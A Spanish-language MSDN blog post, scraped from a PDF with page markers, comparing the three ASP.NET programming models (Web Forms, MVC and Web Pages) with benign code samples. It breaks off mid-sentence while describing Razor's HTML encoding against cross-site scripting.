22
14/2/2015 Modelos de programación en ASP.NET: Web Forms, MVC y Web Pages The code is out there Site Home MSDN Blogs http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelosdeprogramacionenaspnet.aspx 1/22 Modelos de programación en ASP.NET: Web Forms, MVC y Web Pages 8 Daniel Mossberg 10 May 2012 5:49 AM Recientemente he publicado una serie de artículos en MSDN España abordando una pregunta que recibimos con frecuencia. ¿Cuáles son las diferencias entre los tres modelos de programación de ASP.NET y en que situaciones debo elegir uno de ellos sobre los otros? Estos son los enlaces a la serie completa: ASP.NET Web Forms, MVC o Web Pages – Introducción http://msdn.microsoft.com/es‐es/asp.net/hh984851 Parte 1 – ASP.NET Web Forms http://msdn.microsoft.com/es‐es/asp.net/hh984854 Parte 2 – ASP.NET MVC http://msdn.microsoft.com/es‐es/asp.net/hh984855 Parte 3 – ASP.NET Web Pages http://msdn.microsoft.com/es‐es/asp.net/hh984856 Espero que os resulte interesante. ‐ Daniel Mossberg ACTUALIZACIÓN (14/10/2014) Los enlaces anteriores ya no están disponibles, por lo que publico a continuación el contenido original de la serie de artículos: Introducción Actualmente, ASP.NET soporta tres modelos de programación: ASP.NET Web Forms, ASP.NET MVC y ASP.NET Web Pages. Aunque los tres modelos de programación se ejecutan sobre la misma base de ASP.NET, cada uno de ellos estructura la aplicación de maneras completamente distintas, promueve metodologías de desarrollo diferentes y se adapta a perfiles de desarrolladores distintos. Algunas características que son virtudes en unos modelos de programación, pueden ser consideradas debilidades en el otro. ¿Qué es más importante, desarrollar a un gran nivel de abstracción o tener control total cada uno de los aspectos de la aplicación? Simplicidad vs. Control. Flexibilidad vs. Eficiencia. Estas son las compensaciones que hay que baremar a la hora de elegir. En esta serie de artículos repasaremos las diferencias entre los tres modelos de programación, y los escenarios favorables a cada uno de ellos. Es importante recalcar que el hecho de elegir uno de los modelos de programación al comenzar un proyecto de ASP.NET no excluye necesariamente a los otros, sino que es posible tener aplicaciones

Modelos de programación en ASP.pdf

Embed Size (px)

Citation preview

Page 1: Modelos de programación en ASP.pdf

14/2/2015 Modelos de programación en ASP.NET: Web Forms, MVC y Web Pages ­ The code is out there ­ Site Home ­ MSDN Blogs

http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelos­de­programacion­en­aspnet.aspx 1/22

Modelos de programación en ASP.NET:Web Forms, MVC y Web Pages

8Daniel Mossberg  10 May 2012 5:49 AM 

Recientemente he publicado una serie de artículos en MSDN España abordando una pregunta querecibimos con frecuencia. ¿Cuáles son las diferencias entre los tres modelos de programación deASP.NET y en que situaciones debo elegir uno de ellos sobre los otros? Estos son los enlaces a la serie completa: ASP.NET Web Forms, MVC o Web Pages – Introducciónhttp://msdn.microsoft.com/es‐es/asp.net/hh984851 Parte 1 – ASP.NET Web Formshttp://msdn.microsoft.com/es‐es/asp.net/hh984854 Parte 2 – ASP.NET MVChttp://msdn.microsoft.com/es‐es/asp.net/hh984855 Parte 3 – ASP.NET Web Pageshttp://msdn.microsoft.com/es‐es/asp.net/hh984856 Espero que os resulte interesante.‐ Daniel Mossberg ACTUALIZACIÓN (14/10/2014)Los enlaces anteriores ya no están disponibles, por lo que publico a continuación el contenido originalde la serie de artículos:

Introducción

Actualmente, ASP.NET soporta tres modelos de programación: ASP.NET Web Forms, ASP.NET MVC yASP.NET Web Pages. Aunque los tres modelos de programación se ejecutan sobre la misma base deASP.NET, cada uno de ellos estructura la aplicación de maneras completamente distintas, promuevemetodologías de desarrollo diferentes y se adapta a perfiles de desarrolladores distintos. Algunascaracterísticas que son virtudes en unos modelos de programación, pueden ser consideradasdebilidades en el otro. ¿Qué es más importante, desarrollar a un gran nivel de abstracción o tenercontrol total cada uno de los aspectos de la aplicación? Simplicidad vs. Control. Flexibilidad vs.Eficiencia. Estas son las compensaciones que hay que baremar a la hora de elegir. En esta serie deartículos repasaremos las diferencias entre los tres modelos de programación, y los escenariosfavorables a cada uno de ellos. Es importante recalcar que el hecho de elegir uno de los modelos de programación al comenzar unproyecto de ASP.NET no excluye necesariamente a los otros, sino que es posible tener aplicaciones

Page 2: Modelos de programación en ASP.pdf

14/2/2015 Modelos de programación en ASP.NET: Web Forms, MVC y Web Pages ­ The code is out there ­ Site Home ­ MSDN Blogs

http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelos­de­programacion­en­aspnet.aspx 2/22

“hibridas” y en muchos casos tendrá todo el sentido desarrollar ciertas partes de la aplicación con unmodelo de programación y otras partes con otro modelo distinto. ASP.NET Web Forms fue el primero de los tres modelos de programación en existir, y proporciona ungran nivel de abstracción con un modelo de programación familiar basado en eventos y controles quefavorece la productividad mediante la programación declarativa reduciendo la cantidad de códigonecesaria para implementar una determinada funcionalidad. ASP.NET MVC se concibió como alternativa a Web Forms y proporciona un modelo de programaciónbasado en el popular patrón de arquitectura MVC. Entre sus principales características destacan sucompleta integración con pruebas unitarias y su separación más clara entre la lógica de presentación,la lógica de negocio y la lógica de acceso a datos. ASP.NET Web Pages es el más reciente de los tres modelos de programación, y fue creado comorespuesta a una creciente demanda de desarrolladores web sin experiencia previa con ASP.NET, cuyainiciación en ASP.NET Web Forms o MVC les suponía una inversión inicial de tiempo demasiadogrande. Web Pages proporciona un modelo de programación más simple y rápido de aprender, sinrenunciar a toda la funcionalidad y flexibilidad de ASP.NET.

Parte 1 ‐ ASP.NET Web Forms

ASP.NET es uno de los pilares fundamentales del Framework .NET, y durante muchos años Web Formsfue el único modelo de programación disponible. Cuando nació, Web Forms introducía novedadesimportantes respecto a otras tecnologías de desarrollo web como ASP, PHP o JSP. Una de las mássignificativas era la separación entre el código de servidor y el markup HTML. La estructura típica de una página Web Forms se compone por un lado de un fichero *.aspx en el quese define la estructura HTML y se añaden declarativamente los controles de servidor de la página(hablaremos en detalle sobre controles de servidor más adelante). Por otro lado tenemos el fichero decódigo code behind, *.aspx.cs o *.aspx.vb dependiendo del lenguaje de programación elegido, en elque se implementa el código de servidor de la página. Posteriormente, ambos ficheros se compilan enensamblados que contienen el código de servidor que genera el HTML emitido al ejecutar la página. La unión entre ambos ficheros se realiza mediante la directiva de página del fichero *.aspx (“<%@Page … %>”) en la que se especifica el nombre de la clase de la que hereda (“Inherits”) y el fichero decódigo fuente (“CodeBehind”) donde se implementa dicha clase, también conocido como el codebehind de la página. WebForm.aspx:<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="WebForm.aspx.cs"Inherits="AdventureWorksWebForms.WebForm" %><!DOCTYPE html PUBLIC "‐//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1‐transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"><head runat="server">    <title>ASP.NET Web Forms</title></head><body>    <form id="form1" runat="server">    <div>

Page 3: Modelos de programación en ASP.pdf

14/2/2015 Modelos de programación en ASP.NET: Web Forms, MVC y Web Pages ­ The code is out there ­ Site Home ­ MSDN Blogs

http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelos­de­programacion­en­aspnet.aspx 3/22

        <asp:Label ID="MyLabel" runat="server" Text="Hello World!"></asp:Label>        <asp:Button ID="MyButton" runat="server" Text="Run" />    </div>    </form></body></html> En el fichero de code behind se implementa el código de servidor de la página como los manejadoresde eventos de los controles de la página (en el ejemplo: MyButton_Click), código de interacción con lascapas de lógica de negocio o acceso a datos, o código de validación de datos de entrada del usuariopor ejemplo. WebForm.aspx.cs:using System; namespace AdventureWorksWebForms{    public partial class WebForm : System.Web.UI.Page    {        protected void MyButton_Click(object sender, EventArgs e)        {            MyLabel.Text = "Hello World changed after post‐back!";        }    }} Con el Framework .NET 2.0 se introdujo el concepto de clases parciales lo que permite implementarclases de .NET en más de un fichero. ASP.NET 2.0 hizo uso de las clases parciales en los ficheros decode behind para crear una separación adicional entre el código generado automáticamente por VisualStudio y el code behind desarrollado por el programador. En versiones anteriores de ASP.NET, VisualStudio añadía código directamente en el fichero de code behind, como por ejemplo el código dedeclaración de variables de controles de servidor, generado automáticamente al arrastrar un control ala página en la vista de diseño de Visual Studio. Por tanto, a partir de ASP.NET 2.0 el fichero de code behind se simplifica aún más dado quedesaparecen estas declaraciones de variables y el código generado por Visual Studio se crea en unfichero distinto de la misma clase parcial: WebForm.aspx.designer.cs:namespace AdventureWorksWebForms{       public partial class WebForm    {        …            /// <summary>        /// MyLabel control.        /// </summary>        /// <remarks>        /// Auto‐generated field.        /// To modify move field declaration from designer file to code‐behind file.        /// </remarks>        protected global::System.Web.UI.WebControls.Label MyLabel;               /// <summary>        /// MyButton control.

Page 4: Modelos de programación en ASP.pdf

14/2/2015 Modelos de programación en ASP.NET: Web Forms, MVC y Web Pages ­ The code is out there ­ Site Home ­ MSDN Blogs

http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelos­de­programacion­en­aspnet.aspx 4/22

        /// </summary>        /// <remarks>        /// Auto‐generated field.        /// To modify move field declaration from designer file to code‐behind file.        /// </remarks>        protected global::System.Web.UI.WebControls.Button MyButton;    }} Web Forms es un modelo de programación cuya principal característica es el nivel de abstracción yencapsulamiento que proporciona, a la vez que es tremendamente versátil. Web Forms es unatecnología en la que Microsoft sigue invirtiendo fuertemente, y en ASP.NET 4.0 se introducennumerosas novedades y mejoras que corrigen muchas de las que históricamente han sido susdebilidades:

       Web Forms URL Routing: Permite crear URLs optimizadas para motores de búsqueda (SEO).

       HTML más predecible: Los controles de servidor generan HTML más compatible con losestándares y más fácil integrar con JavaScript y CSS.

       View State selectivo: Permite habilitar y deshabilitar el view state granularmente a nivel decontrol de forma más flexible que en anteriores versiones de ASP.NET.

 Estos son algunos ejemplos, pero existe una lista completa de todas las novedades enhttp://www.asp.net/whitepapers/aspnet4.

Cinco razones por las que ASP.NET Web Forms puede ser la mejor opción para ti

1 – Modelo de programación familiar basado en controles y eventosQuien esté familiarizado con el desarrollo de aplicaciones de escritorio, por ejemplo con .NETWindows Forms o Java Swing, le costará poco la transición al desarrollo con ASP.NET Web Forms. WebForms preserva el paradigma de arrastrar controles sobre las páginas web de forma equivalente acomo se arrastran los controles sobre una aplicación de Windows. Los controles de servidor deASP.NET pueden ser elementos de interacción simples como el botón o la caja de texto, o controlesmas complejos como el calendario, el menú o el control de login que encapsulan funcionalidad máscompleja. 

Page 5: Modelos de programación en ASP.pdf

14/2/2015 Modelos de programación en ASP.NET: Web Forms, MVC y Web Pages ­ The code is out there ­ Site Home ­ MSDN Blogs

http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelos­de­programacion­en­aspnet.aspx 5/22

 Los controles tienen propiedades asociadas que se pueden manipular declarativamente en el fichero*.aspx, programáticamente desde el fichero code behind o desde la propia interfaz gráfica de VisualStudio. 

Page 6: Modelos de programación en ASP.pdf

14/2/2015 Modelos de programación en ASP.NET: Web Forms, MVC y Web Pages ­ The code is out there ­ Site Home ­ MSDN Blogs

http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelos­de­programacion­en­aspnet.aspx 6/22

 Adicionalmente, las páginas Web Forms y sus controles de servidor lanzan una serie de eventos antedeterminadas situaciones o interacciones del usuario, y una parte fundamental de las aplicacionesWeb Forms radica precisamente en manejar y responder adecuadamente ante dichos eventos. protected void Button1_Click(object sender, EventArgs e){    Response.Redirect("/home.aspx", false);    Context.ApplicationInstance.CompleteRequest();} 2 – Encapsulamiento de HTML, CSS y Javacscript.ASP.NET Web Forms simplifica el desarrollo web encapsulando gran parte de la complejidad delprotocolo HTTP y de los lenguajes HTML, JavaScript y CSS. En el desarrollo con Web Forms no esimprescindible (aunque sí conveniente) conocer en profundidad ninguna de estas tecnologías. En elprotocolo HTTP por definición no existe el estado, y sin embargo las páginas ASP.NET Web Forms y suscontroles mantienen el estado a lo largo de los post‐backs. Uno de los mecanismos esenciales paraconseguir este nivel de abstracción son precisamente los controles de servidor, que en gran medidaabstraen al desarrollador del código HTML, CSS y JavaScript subyacente. Añadir un control de tipo calendar a una página ASP.NET Web Forms únicamente requiere añadir lasiguiente línea de código a la página *.aspx: <asp:Calendar ID="Calendar1" runat="server"></asp:Calendar> Sin embargo cuando la página se ejecuta el control de servidor genera un entramado relativamentecomplejo de código de cliente (HTML, Javascript y CSS) simplemente para “pintar” el calendario en lapágina. Al margen de esto, ASP.NET Web Forms proporciona la lógica necesaria en el servidor para queel control mantenga el estado a lo largo de varios post‐backs, y todo esto de forma completamentetransparente para el usuario. <table id="Calendar1" cellspacing="0" cellpadding="2" title="Calendar" style="border‐width:1px;border‐style:solid;border‐collapse:collapse;">  <tr>

Page 7: Modelos de programación en ASP.pdf

14/2/2015 Modelos de programación en ASP.NET: Web Forms, MVC y Web Pages ­ The code is out there ­ Site Home ­ MSDN Blogs

http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelos­de­programacion­en­aspnet.aspx 7/22

    <td colspan="7" style="background‐color:Silver;">      <table cellspacing="0" style="width:100%;border‐collapse:collapse;">        <tr>          <td style="width:15%;">            <a href="javascript:__doPostBack('Calendar1','V4383')" style="color:Black"title="Go to the previous month">&lt;</a>          </td>          <td align="center" style="width:70%;">febrero de 2012</td>          <td align="right" style="width:15%;">            <a href="javascript:__doPostBack('Calendar1','V4443')" style="color:Black"title="Go to the next month">&gt;</a>          </td>        </tr>      </table>    </td>  </tr>  <tr>    <th align="center" abbr="lunes" scope="col">lun</th>    <th align="center" abbr="martes" scope="col">mar</th>    <th align="center" abbr="miércoles" scope="col">mié</th>    <th align="center" abbr="jueves" scope="col">jue</th>    <th align="center" abbr="viernes" scope="col">vie</th>    <th align="center" abbr="sábado" scope="col">sáb</th>    <th align="center" abbr="domingo" scope="col">dom</th></tr>  …</table> Algunos controles soportan mecanismos más avanzados de personalización, como la funcionalidadAuto Format que permite aplicar distintos esquemas de colores y estilos sobre el control de formacompletamente visual, de nuevo sin necesidad de tocar ni una sola línea de código. 

 

Page 8: Modelos de programación en ASP.pdf

14/2/2015 Modelos de programación en ASP.NET: Web Forms, MVC y Web Pages ­ The code is out there ­ Site Home ­ MSDN Blogs

http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelos­de­programacion­en­aspnet.aspx 8/22

En definitiva, dos características importantes de ASP.NET Web Forms son la simplificación deldesarrollo web y la reducción de la cantidad de código necesario para conseguir una determinadafuncionalidad. 3 – Ecosistema de controles de tercerosASP.NET Web Forms es una tecnología madura entorno a la cual se ha construido un importanteecosistema de empresas especializadas en desarrollar controles de gran calidad. Algunas de estasempresas como Telerik, Infragistics o Devexpress, desarrollan controles utilizados en miles deaplicaciones Web Forms en Internet. Utilizar este tipo de controles de terceros en lugar de optar por eldesarrollo propio puede suponer un importante ahorro de tiempo y dinero, y en muchas ocasionesretornar mejores resultados. 4 – Acceso a datos simplificadoLa mayoría de aplicaciones web consumen y manipulan datos. Por ello ASP.NET Web Forms soporta unamplio abanico de orígenes de datos, e implementa controles específicos para simplificar el acceso alos orígenes de datos más comunes como bases de datos, ficheros XML, objetos de negocio o modelosde datos de Entity Framework. Los controles de tipo origen de datos (data source) son controles sinelementos gráficos asociados, que permiten a otros controles de servidor enlazar con los orígenes dedatos de forma completamente declarativa. Los controles data source se pueden crear declarativamente o en modo gráfico desde la vista dediseño de Visual Studio. Por ejemplo, el control SqlDataSource debe como mínimo indicar la cadena deconexión al origen de datos y la consulta a ejecutar para recuperar los datos deseados.  <asp:SqlDataSource ID="EmployeeSqlDataSource" runat="server"    ConnectionString="<%$ ConnectionStrings:ConnectionString %>"                SelectCommand="SELECT * FROM [Employee] ORDER BY [Id]"></asp:SqlDataSource> En el modo gráfico de la vista de diseño podemos hacer lo mismo siguiendo los pasos por los que nosguía un wizard. 

Page 9: Modelos de programación en ASP.pdf

14/2/2015 Modelos de programación en ASP.NET: Web Forms, MVC y Web Pages ­ The code is out there ­ Site Home ­ MSDN Blogs

http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelos­de­programacion­en­aspnet.aspx 9/22

 Una vez creados los controles de origen de datos, podemos configurarlos como la propiedad datasource de otros controles de servidor con elementos gráficos, y así enlazarlos con un origen de datosde forma declarativa. 

Page 10: Modelos de programación en ASP.pdf

14/2/2015 Modelos de programación en ASP.NET: Web Forms, MVC y Web Pages ­ The code is out there ­ Site Home ­ MSDN Blogs

http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelos­de­programacion­en­aspnet.aspx 10/22

  5 – Menor cantidad de código y menor complejidad que ASP.NET MVCDebido a todo lo anterior, en definitiva las aplicaciones ASP.NET Web Forms requieren desarrollarmenor cantidad de código que las aplicaciones ASP.NET MVC por lo que se adaptan mejor a equiposde desarrollo más reducidos.

Parte 2 ‐ ASP.NET MVC

En marzo de 2009 se hizo pública la primera versión de ASP.NET MVC. El patrón de arquitectura MVC(model‐view‐controller) no es nuevo (data de 1979) ni es algo que haya inventado Microsoft. Existenmuchos frameworks de desarrollo web populares que utilizan MVC, como por ejemplo Ruby on Rails,Spring o Apache Struts. MVC es un patrón de arquitectura que ayuda a crear una separación lógicaentre el modelo (la lógica de acceso a datos), la vista (la lógica de presentación) y el controlador (lalógica de negocio). Uno de los pilares básicos de ASP.NET MVC es el concepto de enrutamiento (routing), lo que permite alas aplicaciones aceptar peticiones a URLs que no se corresponden con ficheros físicos en el servidor.Por ejemplo, en ASP.NET Web Forms las URLs tienen el siguiente formato“http://website/products.aspx?category=dvd” en el que físicamente existe un fichero products.aspxen la raíz del sitio web. En MVC la misma URL tendría el siguiente aspecto“http://website/products/dvd” sin que el servidor web necesariamente contenga una carpetaproducts con una subcarpeta dvd. De forma predeterminada, ASP.NET MVC enruta las peticiones alcontrolador y a la vista adecuada en función de la URL. Es decir, en el ejemplo anterior, nos devolverá

Page 11: Modelos de programación en ASP.pdf

14/2/2015 Modelos de programación en ASP.NET: Web Forms, MVC y Web Pages ­ The code is out there ­ Site Home ­ MSDN Blogs

http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelos­de­programacion­en­aspnet.aspx 11/22

la vista dvd del controlador products. Este es el aspecto que tiene un proyecto ASP.NET MVC en Visual Studio, que para quién hayatrabajado en proyectos Web Forms notará cambios significativos: 

 El controlador es la pieza responsable de responder a las peticiones realizadas contra la aplicaciónASP.NET MVC mediante distintas “acciones”, por ejemplo devolviendo una vista determinada,redireccionando la petición a un controlador distinto, etc. En el caso más básico, las acciones de uncontrolador se limitan a devolver vistas. En el siguiente ejemplo, el controlador products implementados acciones que devuelven las vistas index y dvd. using System.Web.Mvc; namespace AdventureWorks.Controllers{    public class ProductsController : Controller    {        public ActionResult Index()        {            ViewBag.Message = "Welcome to AdventureWorks online store!";             return View();        }         public ActionResult Dvd()        {                       return View();

Page 12: Modelos de programación en ASP.pdf

14/2/2015 Modelos de programación en ASP.NET: Web Forms, MVC y Web Pages ­ The code is out there ­ Site Home ­ MSDN Blogs

http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelos­de­programacion­en­aspnet.aspx 12/22

        }     }} Para entender mejor el concepto de enrutamiento y su relación con controladores y vistas, analicemosque ocurre si añadimos una nueva acción bluray al controlador products que quedaría expuesta en laURL http://website/products/bluray. public ActionResult Bluray(){    return View();} Si no indicamos lo contrario, ASP.NET MVC intentará buscar una vista que se llama igual que la acciónque se ha ejecutado. El error que devuelve la aplicación indica que no ha podido encontrar la vista yademás indica donde la ha buscado. Como se puede observar, en ASP.NET MVC hay un mapeo directoentre las URLs, los métodos que se ejecutan en el controlador (las acciones) y las vistas que sedevuelven. Prevalece la convención sobre la configuración. 

 ASP.NET MVC fue concebido con el objetivo de proporcionar una mayor separación de conceptos ymayor control sobre el comportamiento de la aplicación. Al no hacer uso de muchos de losmecanismos de abstracción de ASP.NET Web Forms, como el view state o los formularios de servidor,ASP.NET MVC requiere un mayor conocimiento sobre protocolos y lenguajes web. En general lasaplicaciones ASP.NET MVC requieren desarrollar una mayor cantidad de código que una aplicaciónASP.NET Web Forms de funcionalidad equivalente, pero también proporcionan un mayor control aldesarrollador sobre el comportamiento de la aplicación. 

Cinco razones por las que ASP.NET MVC puede ser la mejor opción para ti

1 – Aplicaciones fácilmente integrables con pruebas unitarias

Page 13: Modelos de programación en ASP.pdf

14/2/2015 Modelos de programación en ASP.NET: Web Forms, MVC y Web Pages ­ The code is out there ­ Site Home ­ MSDN Blogs

http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelos­de­programacion­en­aspnet.aspx 13/22

La principal característica que hace a una aplicación fácil de probar es el desacoplamiento (loosecoupling) entre los componentes de la aplicación, de forma que cada uno de los componentes sepueda probar de forma aislada. Las pruebas unitarias en esencia son clases creadas con el únicopropósito de instanciar y hacer uso de las clases y métodos de una aplicación, y verificar que esasclases se comportan como es esperado en distintas situaciones. ¿El método X devuelve el valoresperado al pasar unos parámetros determinados? ¿La clase Y lanza una excepción de tipo Z cuando sepasan unos parámetros inválidos al constructor? Uno de los grandes problemas de Web Forms era la imposibilidad de probar las aplicaciones mediantepruebas unitarias, dado que no es posible instanciar clases que heredan de System.Web.UI.Page deforma aislada. Sin embargo en ASP.NET MVC la lógica que controla el flujo de la aplicación reside enlos controladores, y los controladores no son más que clases sin dependencias externas por lo que sepueden instanciar sin problemas desde el código de las pruebas unitarias. Siguiendo con el ejemploanterior, podríamos implementar el siguiente método de prueba unitaria para verificar que el nombrede la vista que devuelve la acción Dvd del controlador Products es la esperada: using System.Web.Mvc;using AdventureWorks.Controllers;using Microsoft.VisualStudio.TestTools.UnitTesting; namespace AdventureWorksTest{    [TestClass]    public class ProductsControllerTest    {               [TestMethod]        public void TestDvdView()        {            //Arrange            ProductsController products = new ProductsController();             //Act            ViewResult result = (ViewResult)products.Dvd();             //Assert            Assert.AreEqual("Dvd", result.ViewName);        }    }} La plantilla de Visual Studio para crear un nuevo proyecto ASP.NET MVC es la única plantilla de unproyecto web que crea un proyecto adicional de pruebas unitarias en la solución, lo que de nuevorefuerza que las pruebas unitarias son una parte integral de las aplicaciones ASP.NET MVC. 

Page 14: Modelos de programación en ASP.pdf

14/2/2015 Modelos de programación en ASP.NET: Web Forms, MVC y Web Pages ­ The code is out there ­ Site Home ­ MSDN Blogs

http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelos­de­programacion­en­aspnet.aspx 14/22

 2 – Mayor flexibilidad y control sobre las URLs expuestas por la aplicación.ASP.NET MVC proporciona mayor control y flexibilidad sobre las URLs que expone la aplicación. Elcomponente clave que posibilita esta funcionalidad de MVC es el motor de URL routing que seintrodujo en ASP.NET 3.5 SP1, y que desde ASP.NET 4.0 también está disponible para Web Forms. ElURL routing permite a las aplicaciones exponer URLs más simples, semánticamente más significativaspara los usuarios y mejor optimizadas para los motores de búsqueda. Las rutas predeterminadas en una aplicación ASP.NET MVC están definidas en el métodoRegisterRoutes del fichero global.asax: public static void RegisterRoutes(RouteCollection routes){    routes.IgnoreRoute("{resource}.axd/{*pathInfo}");     routes.MapRoute(        "Default", // Route name        "{controller}/{action}/{id}", // URL with parameters        new { controller = "Home", action = "Index", id = UrlParameter.Optional } //Parameter defaults    );

Page 15: Modelos de programación en ASP.pdf

14/2/2015 Modelos de programación en ASP.NET: Web Forms, MVC y Web Pages ­ The code is out there ­ Site Home ­ MSDN Blogs

http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelos­de­programacion­en­aspnet.aspx 15/22

} El enrutamiento predeterminado de cualquier aplicación ASP.NET MVC expone URLs del tipohttp://website/{controlador}/{vista}/{parametros}. Por ejemplo, un controlador Search que realizabúsquedas en un catalogo de productos con una única vista Results a la que se pasa por parámetro lacadena de búsqueda por defecto estaría expuesta en la URL http://website/search/results/star+wars.Podría tener más sentido eliminar el nombre de la vista para conseguir una URL más simple, de formaque se accediera mediante http://website/search/star+wars. Conseguir esto únicamente requiereregistrar una nueva ruta en el método RegisterRoutes: routes.MapRoute(    "Search", // Route name    "Search/{id}", // URL with parameters    new { controller = "Search", action = "Results"} // Parameter defaults); 3 – Mayor control sobre el HTML de la aplicación. En ASP.NET MVC desaparecen los controles de servidor basados el modelo de post‐back de WebForms dado que ahora cada interacción del usuario debe ir enrutada a un controlador y a una acciónespecíficos. En la práctica esto implica que desaparecen la mayoría de controles de servidor quegeneran HTML, por lo que ahora es tarea de los desarrolladores escribir todo ese HTML. Esto suponevarias ventajas importantes, una de ellas es que el HTML que producen las aplicaciones MVC escompletamente predecible, los elementos HTML no tienen identificadores generados dinámicamentedel tipo “ctl00_ControlPadre_ControlHijo_...” y por consecuencia es significativamente más sencilla laprogramación de código JavaScript de cliente contra el HTML generado. Otras ventajas son el controltotal a la hora de producir HTML validable, HTML compatible con distintos estándares de accesibilidadweb, etc. 4 – Plataforma completamente extensibleASP.NET MVC ha sido diseñada para ser completamente extensible, lo que implica que cualquierelemento lógico del flujo de procesamiento de una petición MVC, puede ser extendido ocompletamente sustituido por una implementación propia. Para ello, ASP.NET MVC introduce unaserie de puntos de extensión en los que es posible inyectar código personalizado que modifique elcomportamiento predeterminado. Estos puntos de extensión se encuentran por ejemplo en la lógicade enrutamiento, en la creación de los controladores, en la ejecución de las acciones del controlador,en la selección de las vistas o los “view engines”, etc. 5 – Modelo de programación que promueve una mejor arquitectura de las aplicaciones.Las características inherentes del modelo de programación ASP.NET MVC promueven una mejorarquitectura de las aplicaciones, con una separación más clara entre la lógica de presentación, la lógicade negocio y la lógica de acceso a datos. Esta separación lógica también contribuye desarrollar uncódigo más reutilizable debido al mayor desacoplamiento entre los distintos componentes.

Parte 3 ‐ ASP.NET Web Pages

Transcurrido poco más de un año desde el lanzamiento de la primera versión de ASP.NET MVC, enJulio de 2010 se anunció la disponibilidad pública de una nueva sintaxis para páginas ASP.NET llamada“Razor” y un nuevo tipo de páginas ASP.NET que hacen uso de dicha sintaxis, las denominadasASP.NET Web Pages. Prácticamente de forma simultanea al lanzamiento de Razor, se hizo pública ladisponibilidad de Microsoft WebMatrix. WebMatrix es una herramienta de desarrollo web gratuita

Page 16: Modelos de programación en ASP.pdf

14/2/2015 Modelos de programación en ASP.NET: Web Forms, MVC y Web Pages ­ The code is out there ­ Site Home ­ MSDN Blogs

http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelos­de­programacion­en­aspnet.aspx 16/22

que incluye todo lo necesario para desarrollar aplicaciones ASP.NET, ASP o incluso PHP. WebMatrixproporciona un entorno de desarrollo web autónomo, que integra también el servidor web dedesarrollo (IIS Express), la base de datos (SQL Server Compact Edition), y las herramientas paradesplegar las aplicaciones en entornos de producción (Web Deploy).  La sintaxis Razor fue diseñada con los objetivos de ser fácil de aprender, minimizar el número decaracteres necesarios para la sintaxis consiguiendo un código compacto y fluido, utilizar los lenguajes.NET existentes, ser compatible con cualquier editor de texto y ser “testeable” mediante pruebasunitarias. En esencia, Razor permite introducir fragmentos de código Visual Basic .NET o C#directamente en el código HTML, por lo que convenientemente la extensión de las páginas Razor es*.cshtml o *.vbhtml. Con Razor todo el código de una página se encuentra en un único fichero, que se ejecuta de principio afin. El ciclo de vida de ejecución de una página se ha simplificado significativamente respecto a WebForms o MVC. El comienzo de un bloque de código de servidor en Razor se indica con el carácter ‘@’, ya diferencia de la sintaxis equivalente en las páginas *.aspx, ‘<% … %>’, no se indica explícitamente elcierre del bloque. El compilador utiliza su conocimiento de los lenguajes .NET para determinar dondeterminan los bloques de código de servidor, y donde comienza el HTML. ASPX<div>    Bienvenido <%= Usuario.Nombre %>, hoy es <%= DateTime.Now.Date.ToShortDateString() %></div> Razor<div>    Bienvenido @Usuario.Nombre, hoy es @DateTime.Now.Date.ToShortDateString()</div> Aunque Razor está optimizado para entrelazar código .NET y código HTML de una forma fluida, enesencia no se diferencia mucho de la sintaxis VB.NET o C# a la que ya estamos acostumbrados. Es fácilhabituarse a la nueva sintaxis a la hora de crear sentencias y bloques de código más complejos, comopor ejemplo bloques multilínea, bloques if o bloques foreach: <!DOCTYPE html>@using System.Collections @{    Hashtable models = new Hashtable();    models.Add("ASP.NET Web Forms", "http://www.asp.net/web‐forms");    models.Add("ASP.NET MVC", "http://www.asp.net/mvc");    models.Add("ASP.NET Web Pages", "http://www.asp.net/web‐pages");} <html lang="en">    <head>        <meta charset="utf‐8" />        <title></title>    </head>    <body>        <h1>Modelos de programación en de ASP.NET:</h1>                     <ul>

Page 17: Modelos de programación en ASP.pdf

14/2/2015 Modelos de programación en ASP.NET: Web Forms, MVC y Web Pages ­ The code is out there ­ Site Home ­ MSDN Blogs

http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelos­de­programacion­en­aspnet.aspx 17/22

            @foreach (DictionaryEntry entry in models)            {                <li><a href="@entry.Value">@entry.Key</a></li>            }        </ul>         @if (models.Count < 3)        {            <p>The list above is obsolete</p>        }        else        {            <p>The list above is up to date</p>        }     </body></html> El siguiente post proporciona una guía más exhaustiva de la sintaxis Razor comparándola con lasintaxis equivalente ASPX: http://haacked.com/archive/2011/01/06/razor‐syntax‐quick‐reference.aspx.

Cinco razones por las que ASP.NET Web Pages puede ser la mejor opción para ti

1 – Modelo de programación simple y rápido de aprender basado en páginas individualesASP.NET Web pages puede ser una buena opción para el que esté empezando a desarrollaraplicaciones con ASP.NET o quiera desarrollar una aplicación web sencilla en poco tiempo.Conceptualmente, el modelo de ejecución es similar a ASP clásico o PHP, en cuanto a que lasaplicaciones se ejecutan secuencialmente de principio a fin, sin la complejidad de la jerarquía deeventos de Web Forms (Page_Load, Page_Render, etc.) pero disponiendo de toda la funcionalidad deASP.NET.  2 – Codificación HTML para prevenir ataques de cross‐site scriptingEn Razor, el contenido emitido por los bloques de código de servidor ‘@’ están codificados (HTMLencoded) para proteger contra ataques de cross‐site scripting. Estos ataques, expuesto de maneraenormemente simplificada, se basan en que un usuario malicioso consiga inyectar código HTML oscript y posteriormente otros usuarios ejecuten ese código cuando acceden a la página como si fueraHTML/Script legítimo de la aplicación. El código se puede inyectar por ejemplo desde un campo de unformulario o mediante un parámetro por 